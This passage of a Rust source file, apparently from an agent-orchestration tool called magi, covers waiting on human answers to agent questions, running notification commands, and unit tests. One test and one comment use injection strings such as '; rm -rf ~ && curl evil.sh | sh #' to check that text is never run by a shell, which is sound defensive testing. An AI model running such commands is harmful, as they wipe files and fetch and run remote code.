1737/// then record the hand-over. A failed write marks nothing delivered.
1738pub fn deliver_answer(
1739    store: &Questions,
1740    q: &mut Question,
1741    answer: &str,
1742    out: &mut impl std::io::Write,
1743) -> std::io::Result<()> {
1744    writeln!(out, "{}", answer_for_agent(q, answer))?;
1745    out.flush()?;
1746    hand_over(store, q);
1747    Ok(())
1748}
1749
1750/// The polling loop shared by a fresh wait and a resumed one.
1751///
1752/// `timeout` is the budget left before the question's `answer_timeout`
1753/// truly runs out; `slice` bounds how much of that this one call spends
1754/// before handing control back. Landing on `slice` while `timeout` still has
1755/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1756/// silence. Landing on `timeout` itself - because it was no bigger than
1757/// `slice` to begin with - is the real thing, and abandons the question
1758/// exactly as a single unsliced wait always did.
1759async fn wait_loop(
1760    q: &mut Question,
1761    store: &Questions,
1762    timeout: Duration,
1763    slice: Duration,
1764    poll: Duration,
1765) -> Result<Wait> {
1766    // The owner may already have spoken back before this call ever started -
1767    // most often because they did so in the gap between an earlier call
1768    // reporting `Wait::Pending` and this one picking the wait back up with
1769    // `--wait`. That word must surface at once rather than sit unnoticed
1770    // until some *later* turn happens to change something: this call never
1771    // saw it get added, so nothing below would otherwise recognise it as
1772    // new. `last_word_awaiting_reply` reads the question's own record of
1773    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1774    // turn count this call would have to have been there to capture.
1775    if let Some(said) = q.unread_from_owner() {
1776        return Ok(Wait::Replied(said));
1777    }
1778    hold(store, &q.id);
1779
1780    let bounded = timeout.min(slice);
1781    let is_the_real_deadline = bounded >= timeout;
1782    let deadline = tokio::time::Instant::now() + bounded;
1783    loop {
1784        let now = tokio::time::Instant::now();
1785        if now >= deadline {
1786            if !is_the_real_deadline {
1787                // The lease is left to age out on purpose: the caller is about
1788                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1789                // covers.
1790                return Ok(Wait::Pending);
1791            }
1792            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1793            // Re-checked on the record as it is now: the owner may have said
1794            // something in time since the last poll, and that word is handed
1795            // over, not abandoned.
1796            let (fresh, unread) = store
1797                .update(&q.id, |r| {
1798                    let unread = r.unread_from_owner();
1799                    if unread.is_none() {
1800                        r.abandon(&why);
1801                        r.waiter = None;
1802                    }
1803                    Ok(unread)
1804                })
1805                .context("record the abandoned question")?;
1806            *q = fresh;
1807            if let Some(said) = unread {
1808                return Ok(Wait::Replied(said));
1809            }
1810            tracing::warn!(
1811                "question {} went unanswered for {}s; the run parks and the \
1812                 question stays as the record of it",
1813                q.short(),
1814                timeout.as_secs()
1815            );
1816            return Ok(Wait::Abandoned);
1817        }
1818        tokio::time::sleep(poll.min(deadline - now)).await;
1819        store.beat(&q.id, WaiterKind::Asker);
1820        match store.get(&q.id) {
1821            Ok(fresh) if !fresh.status.open() => {
1822                // Whoever answered - the phone, `magi answer`, another daemon -
1823                // owns the record now, so adopt theirs wholesale rather than
1824                // merging into a copy that predates it.
1825                *q = fresh;
1826                return Ok(match q.resolution() {
1827                    Some(a) => Wait::Answered(a),
1828                    // Closed with no decision - abandoned elsewhere, most
1829                    // often by the run behind it being deleted mid-wait.
1830                    None => Wait::Abandoned,
1831                });
1832            }
1833            Ok(fresh) => {
1834                if let Some(said) = fresh.unread_from_owner() {
1835                    *q = fresh;
1836                    return Ok(Wait::Replied(said));
1837                }
1838                // Still open and not waiting on the agent - nothing this
1839                // wait cares about happened, so keep polling.
1840            }
1841            Err(e) => {
1842                // Mid-rename, or a file the operator is editing by hand.
1843                // Neither is a reason to abandon a question a human may still
1844                // answer, so keep polling until the deadline decides.
1845                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1846            }
1847        }
1848    }
1849}
1850
1851/// Run the operator's notification command, if one is configured.
1852///
1853/// The command is argv, never a shell string, and the substitutions below are a
1854/// single pass over each argument: a summary containing `; rm -rf ~` is one
1855/// argument to one program, and a summary containing the characters `{run}` is
1856/// not re-expanded. That property is the reason agent-authored text can be put
1857/// in a notification at all.
1858///
1859/// An error here is reported, not swallowed, so `magi notify --test` can show
1860/// the operator why nothing arrives. The waiting path logs it and carries on.
1861pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1862    notify_text(cmd, &q.run, &q.summary).await
1863}
1864
1865/// [`notify`] for an event that is not a question: the same command, the same
1866/// placeholders, with `summary` and `run` supplied directly.
1867pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1868    let Some((program, args)) = cmd.command.split_first() else {
1869        // No command configured: the web UI is the only surface, by choice.
1870        return Ok(());
1871    };
1872    let url = web_url();
1873    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1874        tracing::warn!(
1875            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1876             so the link will be empty - export it next to `magi serve` with \
1877             the address `magi web --open` printed"
1878        );
1879    }
1880    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1881    tracing::debug!(program = %program, args = ?argv, "notifying");
1882
1883    let mut child = tokio::process::Command::new(program);
1884    child.quiet();
1885    child
1886        .args(&argv)
1887        .stdin(std::process::Stdio::null())
1888        // Killed if the timeout below drops this future: a notification
1889        // command left running would outlive the run it was announcing.
1890        .kill_on_drop(true);
1891    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1892        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1893        Err(_) => bail!(
1894            "notification command `{program}` did not finish within {}s",
1895            NOTIFY_TIMEOUT.as_secs()
1896        ),
1897    };
1898    if !out.status.success() {
1899        let stderr = String::from_utf8_lossy(&out.stderr);
1900        let why = stderr
1901            .lines()
1902            .rev()
1903            .find(|l| !l.trim().is_empty())
1904            .unwrap_or("no output on stderr")
1905            .trim();
1906        bail!(
1907            "notification command `{program}` exited with {}: {why}",
1908            out.status
1909        );
1910    }
1911    Ok(())
1912}
1913
1914/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1915///
1916/// One left-to-right pass, so a substituted value is never scanned for further
1917/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1918/// in a question must not make the notification recursive.
1919fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1920    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1921    let mut out = String::with_capacity(template.len());
1922    let mut rest = template;
1923    while let Some(at) = rest.find('{') {
1924        out.push_str(&rest[..at]);
1925        let tail = &rest[at..];
1926        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1927            Some((token, value)) => {
1928                out.push_str(value);
1929                rest = &tail[token.len()..];
1930            }
1931            None => {
1932                // Not a placeholder magi knows: it is the operator's own text.
1933                out.push('{');
1934                rest = &tail[1..];
1935            }
1936        }
1937    }
1938    out.push_str(rest);
1939    out
1940}
1941
1942/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1943fn web_url() -> String {
1944    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1945}
1946
1947/// Point a configured base URL at the view that can answer the question.
1948///
1949/// A notification the operator has to navigate from is a question that stays
1950/// unanswered until morning, so the questions view is appended - unless the
1951/// operator already wrote a fragment, in which case they have said where they
1952/// want to land and magi does not know better.
1953fn question_url(base: &str) -> String {
1954    let base = base.trim().trim_end_matches('/');
1955    if base.is_empty() || base.contains('#') {
1956        return base.to_owned();
1957    }
1958    format!("{base}/#/questions")
1959}
1960
1961/// Assemble a panel's contents in an already-empty directory.
1962///
1963/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1964/// first error without an early `return` skipping that cleanup.
1965fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1966    let index = dir.join(PANEL_HTML);
1967    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1968    for (name, src) in assets {
1969        let dst = dir.join(name);
1970        std::fs::copy(src, &dst)
1971            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1972    }
1973    Ok(())
1974}
1975
1976/// Remove a directory and everything under it, treating "not there" as done.
1977///
1978/// A panel is replaced wholesale and dropped idempotently, and in both cases
1979/// the absence of the directory is the desired end state, not an error.
1980fn clear_dir(path: &Path) -> Result<()> {
1981    match std::fs::remove_dir_all(path) {
1982        Ok(()) => Ok(()),
1983        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1984        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1985    }
1986}
1987
1988fn read_path(path: &Path) -> Result<Question> {
1989    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1990    let q: Question =
1991        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1992    if q.schema > SCHEMA {
1993        // Strictly newer, not merely different: every field added since
1994        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1995        // here as "no thread yet" rather than as garbage. Only a schema this
1996        // build has never heard of is refused.
1997        bail!(
1998            "question {} was written by a newer magi (schema {}, this build \
1999             only speaks up to {SCHEMA})",
2000            q.id,
2001            q.schema
2002        );
2003    }
2004    Ok(q)
2005}
2006
2007/// [`short`] for callers outside this module (a run id shortens the same way).
2008pub fn short_id(id: &str) -> &str {
2009    short(id)
2010}
2011
2012fn short(id: &str) -> &str {
2013    id.split('-').next_back().unwrap_or(id)
2014}
2015
2016fn new_id() -> String {
2017    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2018    let seed = crate::rng::entropy();
2019    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
2020}
2021
2022#[cfg(test)]
2023mod tests {
2024    use super::*;
2025
2026    /// A store of its own, with no process-global state - which is the point of
2027    /// `Questions::at`, and why these can run in parallel.
2028    fn store() -> (tempfile::TempDir, Questions) {
2029        let dir = tempfile::tempdir().unwrap();
2030        let s = Questions::at(dir.path().join("questions"));
2031        (dir, s)
2032    }
2033
2034    #[test]
2035    fn run_names_task_only_for_task_questions() {
2036        for (node, want) in [
2037            (crate::conduct::NODE, true),
2038            (crate::triage::NODE, true),
2039            (crate::triage::DEPS_NODE, true),
2040            (crate::land::APPROVAL_NODE, false),
2041            (crate::bump::NOTICE_NODE, false),
2042            ("implement", false),
2043        ] {
2044            let mut q = choice_question();
2045            q.node = node.to_owned();
2046            assert_eq!(q.run_names_task(), want, "{node}");
2047        }
2048    }
2049
2050    #[test]
2051    fn deleting_a_run_stops_its_questions_asking() {
2052        let (_dir, store) = store();
2053
2054        let mut open_one = choice_question();
2055        store.put(&mut open_one).unwrap();
2056        let mut answered = free_question();
2057        answered
2058            .answer(Answer::Text("keep this".to_owned()))
2059            .unwrap();
2060        store.put(&mut answered).unwrap();
2061        let mut elsewhere = choice_question();
2062        elsewhere.run = "20260903-105039-3cbf".to_owned();
2063        store.put(&mut elsewhere).unwrap();
2064
2065        let n = store
2066            .abandon_for_run(&open_one.run, "run was deleted")
2067            .unwrap();
2068        assert_eq!(n, 1, "only the open question of that run");
2069
2070        let back = store.get(&open_one.id).unwrap();
2071        assert!(!back.status.open(), "it no longer asks for a decision");
2072        assert!(
2073            back.detail.contains("run was deleted"),
2074            "the operator can see why: {}",
2075            back.detail
2076        );
2077
2078        let kept = store.get(&answered.id).unwrap();
2079        assert_eq!(
2080            kept.status,
2081            QuestionStatus::Answered,
2082            "an answered question is a decision on record, not something to revoke"
2083        );
2084        assert!(
2085            store.get(&elsewhere.id).unwrap().status.open(),
2086            "another run's question is untouched"
2087        );
2088        assert!(store.open_for(&open_one.run).is_empty());
2089    }
2090
2091    #[test]
2092    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2093        let (_dir, store) = store();
2094        let mut q = choice_question();
2095        store.put(&mut q).unwrap();
2096
2097        // `Blocked` can still be resumed - leave it exactly as it was.
2098        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2099        assert_eq!(n, 0);
2100        assert!(store.get(&q.id).unwrap().status.open());
2101
2102        // `Failed` is not - abandon it, with the run and its fate in the
2103        // reason so the owner can tell what happened without a run to read.
2104        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2105        assert_eq!(n, 1);
2106        let back = store.get(&q.id).unwrap();
2107        assert!(!back.status.open());
2108        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2109
2110        // A second call against the same, now-settled run finds nothing left.
2111        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2112    }
2113
2114    fn choice_question() -> Question {
2115        Question::new(
2116            "20260902-201256-9fb7".to_owned(),
2117            "implement".to_owned(),
2118            "impl-A".to_owned(),
2119            "Which storage backend should the cache use?".to_owned(),
2120            "Both are already dependencies.".to_owned(),
2121            vec!["SQLite".to_owned(), "Redis".to_owned()],
2122        )
2123    }
2124
2125    fn free_question() -> Question {
2126        Question::new(
2127            "20260902-201256-9fb7".to_owned(),
2128            "review".to_owned(),
2129            "rev-1".to_owned(),
2130            "What should the error message say?".to_owned(),
2131            String::new(),
2132            Vec::new(),
2133        )
2134    }
2135
2136    /// No notification, which is the default and what most of these want.
2137    fn quiet() -> config::Notify {
2138        config::Notify::default()
2139    }
2140
2141    #[test]
2142    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2143        // The front end parses these names by hand; there is no shared schema
2144        // and no compiler between the two. A rename here is a UI that shows an
2145        // empty card and reports no error, so the names are asserted literally.
2146        let mut q = choice_question();
2147        q.id = "20260902-231501-ab12".to_owned();
2148        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2149        // `serde_json::Value` holds an object's keys sorted, and key order
2150        // means nothing to a JSON reader anyway: the field *set* is what the
2151        // front end was written against, so that is what is pinned here.
2152        let keys: Vec<&str> = open
2153            .as_object()
2154            .unwrap()
2155            .keys()
2156            .map(String::as_str)
2157            .collect();
2158        assert_eq!(
2159            keys,
2160            [
2161                "actions",
2162                "answer",
2163                "answer_delivered",
2164                "answer_timeout",
2165                "answered_at",
2166                "asked_at",
2167                "assets",
2168                "choices",
2169                "consult",
2170                "cwd",
2171                "decision_context",
2172                "delivered_turns",
2173                "deputy",
2174                "detail",
2175                "id",
2176                "merge_target",
2177                "node",
2178                "panel",
2179                "run",
2180                "schema",
2181                "seat",
2182                "status",
2183                "summary",
2184                "thread",
2185                "triage_generation",
2186                "waiter",
2187            ],
2188            "the on-disk field set is a contract with the front end"
2189        );
2190        assert_eq!(open["schema"], 11);
2191        assert_eq!(open["merge_target"], serde_json::Value::Null);
2192        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2193        assert_eq!(open["thread"], serde_json::json!([]));
2194        assert_eq!(open["id"], "20260902-231501-ab12");
2195        assert_eq!(open["run"], "20260902-201256-9fb7");
2196        assert_eq!(open["node"], "implement");
2197        assert_eq!(open["seat"], "impl-A");
2198        assert_eq!(open["status"], "open");
2199        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2200        assert_eq!(open["answered_at"], serde_json::Value::Null);
2201        assert_eq!(open["answer"], serde_json::Value::Null);
2202        let asked = open["asked_at"].as_str().unwrap();
2203        assert!(
2204            asked.ends_with('Z') && asked.contains('T'),
2205            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2206        );
2207
2208        // A chosen option, exactly as the contract spells it.
2209        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2210        let answered = serde_json::to_value(&q).unwrap();
2211        assert_eq!(answered["status"], "answered");
2212        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2213        assert!(answered["answered_at"].is_string());
2214
2215        // And free text, which is the other of the two forms.
2216        let mut free = free_question();
2217        free.answer(Answer::Text("Say which file it was".to_owned()))
2218            .unwrap();
2219        assert_eq!(
2220            serde_json::to_value(&free).unwrap()["answer"],
2221            serde_json::json!({"text": "Say which file it was"})
2222        );
2223
2224        // And it survives the round trip a reader actually performs.
2225        let body = serde_json::to_string(&q).unwrap();
2226        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2227    }
2228
2229    #[test]
2230    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2231        let (_dir, store) = store();
2232        let mut q = approval_question();
2233        q.merge_target = Some(crate::merge_decision::Target {
2234            pr: "https://github.com/example/repo/pull/42".into(),
2235            head: "reviewed-head".into(),
2236            language: "ja".into(),
2237        });
2238        store.put(&mut q).unwrap();
2239        let saved = store.get(&q.id).unwrap();
2240        assert_eq!(saved, q);
2241        let mut body = serde_json::to_value(&saved).unwrap();
2242        assert_eq!(body["schema"], 11);
2243        assert_eq!(
2244            body["merge_target"],
2245            serde_json::json!({
2246                "pr": "https://github.com/example/repo/pull/42",
2247                "head": "reviewed-head",
2248                "language": "ja"
2249            })
2250        );
2251
2252        // Earlier merge/hold cards have no target field. Read the actual
2253        // on-disk shape through the store, including its schema guard.
2254        body["schema"] = serde_json::json!(10);
2255        body.as_object_mut().unwrap().remove("merge_target");
2256        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2257        let legacy = store.get(&q.id).unwrap();
2258        assert_eq!(legacy.schema, 10);
2259        assert!(legacy.merge_target.is_none());
2260        assert_eq!(legacy.choices, q.choices);
2261        assert_eq!(legacy.status, q.status);
2262    }
2263
2264    #[test]
2265    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2266        // Four different mistakes, four different fixes: the web handler shows
2267        // these strings to the person who made them.
2268        let mut unoffered = choice_question();
2269        let a = unoffered
2270            .answer(Answer::Choice("Postgres".to_owned()))
2271            .unwrap_err()
2272            .to_string();
2273
2274        let mut typed = choice_question();
2275        let b = typed
2276            .answer(Answer::Text("use Postgres".to_owned()))
2277            .unwrap_err()
2278            .to_string();
2279
2280        let mut blank = free_question();
2281        let c = blank
2282            .answer(Answer::Text("   \n".to_owned()))
2283            .unwrap_err()
2284            .to_string();
2285
2286        let mut twice = choice_question();
2287        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2288        let d = twice
2289            .answer(Answer::Choice("Redis".to_owned()))
2290            .unwrap_err()
2291            .to_string();
2292
2293        assert!(a.contains("not one of the choices"), "{a}");
2294        assert!(b.contains("multiple choice"), "{b}");
2295        assert!(c.contains("empty"), "{c}");
2296        assert!(d.contains("already answered"), "{d}");
2297        let mut distinct = vec![a, b, c, d];
2298        let asked = distinct.len();
2299        distinct.sort_unstable();
2300        distinct.dedup();
2301        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2302
2303        // The refused ones are still open, so the owner can answer properly.
2304        assert_eq!(unoffered.status, QuestionStatus::Open);
2305        assert_eq!(typed.status, QuestionStatus::Open);
2306        assert_eq!(blank.status, QuestionStatus::Open);
2307        // And the first answer to the double-answered one survived.
2308        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2309
2310        // Free text refuses a fabricated choice for the mirror-image reason.
2311        let mut free = free_question();
2312        let e = free
2313            .answer(Answer::Choice("SQLite".to_owned()))
2314            .unwrap_err()
2315            .to_string();
2316        assert!(e.contains("free text"), "{e}");
2317    }
2318
2319    #[test]
2320    fn open_questions_are_listed_before_answered_ones() {
2321        let (_dir, s) = store();
2322        // Ids carry a timestamp, so force a known order: the answered one is
2323        // the newest, and must still sort below the open ones.
2324        let mut old_open = choice_question();
2325        old_open.id = "20260101-000001-aaaa".to_owned();
2326        let mut new_open = choice_question();
2327        new_open.id = "20260101-000002-bbbb".to_owned();
2328        let mut answered = choice_question();
2329        answered.id = "20260101-000003-cccc".to_owned();
2330        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2331        for q in [&mut old_open, &mut new_open, &mut answered] {
2332            s.put(q).unwrap();
2333        }
2334
2335        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2336        assert_eq!(
2337            ids,
2338            [
2339                "20260101-000002-bbbb",
2340                "20260101-000001-aaaa",
2341                "20260101-000003-cccc"
2342            ],
2343            "what has stopped work comes first; history sorts underneath"
2344        );
2345        assert_eq!(s.count_open(), 2);
2346        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2347        assert!(s.open_for("some-other-run").is_empty());
2348        // The short id is what the phone and the reports show.
2349        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2350        assert!(s.get("20260101-000002-bbbb").is_ok());
2351        assert!(s.resolve_id("nope").is_err());
2352        assert!(
2353            s.revision() > 0,
2354            "the store's mtime drives the phone's polling"
2355        );
2356    }
2357
2358    #[test]
2359    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2360        let (_dir, s) = store();
2361        let mut good = choice_question();
2362        s.put(&mut good).unwrap();
2363        // Truncated by a killed writer, and written by a magi from the future.
2364        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2365        let future = serde_json::json!({
2366            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2367            "seat": "s", "summary": "?", "detail": "", "choices": [],
2368            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2369            "answered_at": null, "answer": null,
2370        });
2371        std::fs::write(
2372            s.path_of("20260101-000010-beef"),
2373            serde_json::to_string(&future).unwrap(),
2374        )
2375        .unwrap();
2376
2377        let listed = s.list();
2378        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2379        assert_eq!(listed[0].id, good.id);
2380        // Asked for by name, the unreadable one explains itself instead.
2381        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2382        assert!(e.contains("schema"), "{e}");
2383    }
2384
2385    #[tokio::test]
2386    async fn the_wait_returns_the_answer_another_process_wrote() {
2387        // The phone, `magi answer` and this run are three processes with no
2388        // channel between them: the file is the channel, so the wait has to see
2389        // a write it did not make. Sub-second timings keep this a real wait
2390        // without a real one's duration.
2391        let (dir, s) = store();
2392        let mut q = choice_question();
2393        let id = q.id.clone();
2394        let writer = Questions::at(dir.path().join("questions"));
2395        let handle = tokio::spawn(async move {
2396            tokio::time::sleep(Duration::from_millis(30)).await;
2397            let mut fresh = writer.get(&id).expect("the question was filed first");
2398            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2399            writer.put(&mut fresh).unwrap();
2400        });
2401
2402        let got = wait_for_owner(
2403            &mut q,
2404            &s,
2405            &quiet(),
2406            Duration::from_secs(5),
2407            Duration::from_millis(10),
2408        )
2409        .await
2410        .unwrap();
2411
2412        handle.await.unwrap();
2413        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2414        assert_eq!(
2415            q.status,
2416            QuestionStatus::Answered,
2417            "the caller's copy is refreshed from the answering process's record"
2418        );
2419        assert!(q.answered_at.is_some());
2420    }
2421
2422    #[tokio::test]
2423    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2424        let (_dir, s) = store();
2425        let mut q = choice_question();
2426
2427        let got = wait_for_owner(
2428            &mut q,
2429            &s,
2430            &quiet(),
2431            Duration::from_millis(60),
2432            Duration::from_millis(10),
2433        )
2434        .await
2435        .unwrap();
2436
2437        assert_eq!(
2438            got,
2439            Wait::Abandoned,
2440            "a slow human is not an error; the run parks"
2441        );
2442        assert_eq!(q.status, QuestionStatus::Abandoned);
2443        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2444        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2445        assert!(
2446            on_disk.detail.contains("Abandoned:"),
2447            "why nobody answered belongs with the question: {}",
2448            on_disk.detail
2449        );
2450        assert!(on_disk.resolution().is_none());
2451        assert_eq!(s.count_open(), 0);
2452    }
2453
2454    #[tokio::test]
2455    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2456        // This is the whole point of slicing: `timeout` (the real
2457        // `answer_timeout` budget) is far larger than `slice`, so the loop
2458        // must land on `slice` first and hand back `Pending` - not read the
2459        // silence so far as the owner having given up.
2460        let (_dir, s) = store();
2461        let mut q = choice_question();
2462        s.put(&mut q).unwrap();
2463
2464        let got = wait_loop(
2465            &mut q,
2466            &s,
2467            Duration::from_secs(3600),
2468            Duration::from_millis(30),
2469            Duration::from_millis(10),
2470        )
2471        .await
2472        .unwrap();
2473
2474        assert_eq!(
2475            got,
2476            Wait::Pending,
2477            "the clock on this call ran out, not the owner's patience"
2478        );
2479        assert_eq!(
2480            q.status,
2481            QuestionStatus::Open,
2482            "a slice expiring must never abandon the question"
2483        );
2484        let on_disk = s.get(&q.id).expect("still on disk, still open");
2485        assert_eq!(
2486            on_disk.status,
2487            QuestionStatus::Open,
2488            "nothing about the record changed just because this call gave up"
2489        );
2490    }
2491
2492    #[tokio::test]
2493    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2494        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2495        // and returns `Pending`, a second slice - a fresh call, exactly as a
2496        // fresh process would make - picks the same question back up and
2497        // sees an answer written in between.
2498        let (dir, s) = store();
2499        let mut q = choice_question();
2500        s.put(&mut q).unwrap();
2501
2502        let first = wait_loop(
2503            &mut q,
2504            &s,
2505            Duration::from_secs(3600),
2506            Duration::from_millis(30),
2507            Duration::from_millis(10),
2508        )
2509        .await
2510        .unwrap();
2511        assert_eq!(first, Wait::Pending);
2512
2513        let id = q.id.clone();
2514        let writer = Questions::at(dir.path().join("questions"));
2515        let mut fresh = writer.get(&id).unwrap();
2516        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2517        writer.put(&mut fresh).unwrap();
2518
2519        // `resume_wait` uses its own production poll interval rather than a
2520        // test-injected one, so the budget here only needs to be large enough
2521        // to cover one real poll tick - the point is that it is `resume_wait`
2522        // itself, not a helper, that finds the answer.
2523        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2524            .await
2525            .unwrap();
2526        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2527        assert_eq!(q.status, QuestionStatus::Answered);
2528    }
2529
2530    #[tokio::test]
2531    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2532        // The owner can speak back while nothing is running at all - between
2533        // one call reporting `Wait::Pending` and the next `--wait` picking
2534        // the question back up - and whoever resumes the wait loads a
2535        // *fresh* copy of the question off disk, one whose thread already
2536        // contains that reply. A baseline taken from that fresh copy would
2537        // treat the reply as pre-existing and never notice it "arrive",
2538        // leaving the agent polling in silence until `answer_timeout`
2539        // eventually abandons the question - replacing the exact accident
2540        // this feature exists to fix with a quieter version of itself.
2541        let (dir, s) = store();
2542        let mut q = choice_question();
2543        s.put(&mut q).unwrap();
2544
2545        let first = wait_loop(
2546            &mut q,
2547            &s,
2548            Duration::from_secs(3600),
2549            Duration::from_millis(30),
2550            Duration::from_millis(10),
2551        )
2552        .await
2553        .unwrap();
2554        assert_eq!(first, Wait::Pending);
2555
2556        // The owner speaks back during the gap, with nobody running yet.
2557        let id = q.id.clone();
2558        let writer = Questions::at(dir.path().join("questions"));
2559        let mut fresh = writer.get(&id).unwrap();
2560        fresh.say("why not Postgres?").unwrap();
2561        writer.put(&mut fresh).unwrap();
2562
2563        // `magi ask --wait` re-reads the question rather than reusing the
2564        // stale in-memory copy the earlier call held - so the copy handed to
2565        // `resume_wait` here already carries the reply, same as `fresh` above.
2566        let mut resumed = s.get(&id).unwrap();
2567        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2568            .await
2569            .unwrap();
2570        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2571        assert_eq!(
2572            resumed.status,
2573            QuestionStatus::Open,
2574            "talking back is not a decision; the question stays open"
2575        );
2576    }
2577
2578    #[tokio::test]
2579    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2580        // A broken webhook must not throw away an implementation, so the wait
2581        // reports the failure and carries on. `notify` itself still says what
2582        // went wrong, because `magi notify --test` has to be able to show it.
2583        let (dir, s) = store();
2584        let broken = config::Notify {
2585            command: vec![
2586                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2587                "{summary}".to_owned(),
2588            ],
2589        };
2590        let mut q = choice_question();
2591        assert!(
2592            notify(&broken, &q).await.is_err(),
2593            "the caller is told; it decides that it does not matter"
2594        );
2595
2596        let id = q.id.clone();
2597        let writer = Questions::at(dir.path().join("questions"));
2598        let handle = tokio::spawn(async move {
2599            tokio::time::sleep(Duration::from_millis(30)).await;
2600            let mut fresh = writer.get(&id).unwrap();
2601            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2602            writer.put(&mut fresh).unwrap();
2603        });
2604        let got = wait_for_owner(
2605            &mut q,
2606            &s,
2607            &broken,
2608            Duration::from_secs(5),
2609            Duration::from_millis(10),
2610        )
2611        .await
2612        .unwrap();
2613        handle.await.unwrap();
2614        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2615
2616        // No command at all is the default, and is silence rather than failure.
2617        assert!(notify(&quiet(), &q).await.is_ok());
2618        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2619    }
2620
2621    #[test]
2622    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2623        let mut q = choice_question();
2624        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2625        let template = [
2626            "ntfy".to_owned(),
2627            "publish".to_owned(),
2628            "--click".to_owned(),
2629            "{url}".to_owned(),
2630            "--title".to_owned(),
2631            "magi {run} needs you".to_owned(),
2632            "{summary}".to_owned(),
2633        ];
2634        let argv: Vec<String> = template
2635            .iter()
2636            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2637            .collect();
2638
2639        assert_eq!(
2640            argv,
2641            [
2642                "ntfy",
2643                "publish",
2644                "--click",
2645                "http://100.64.0.1:7777/#/questions",
2646                "--title",
2647                "magi 20260902-201256-9fb7 needs you",
2648                "; rm -rf ~ && curl evil.sh | sh #",
2649            ],
2650            "the shell metacharacters are one argument's contents, not syntax"
2651        );
2652
2653        // A summary that itself mentions a placeholder is text, not a template:
2654        // one left-to-right pass means a substituted value is never rescanned.
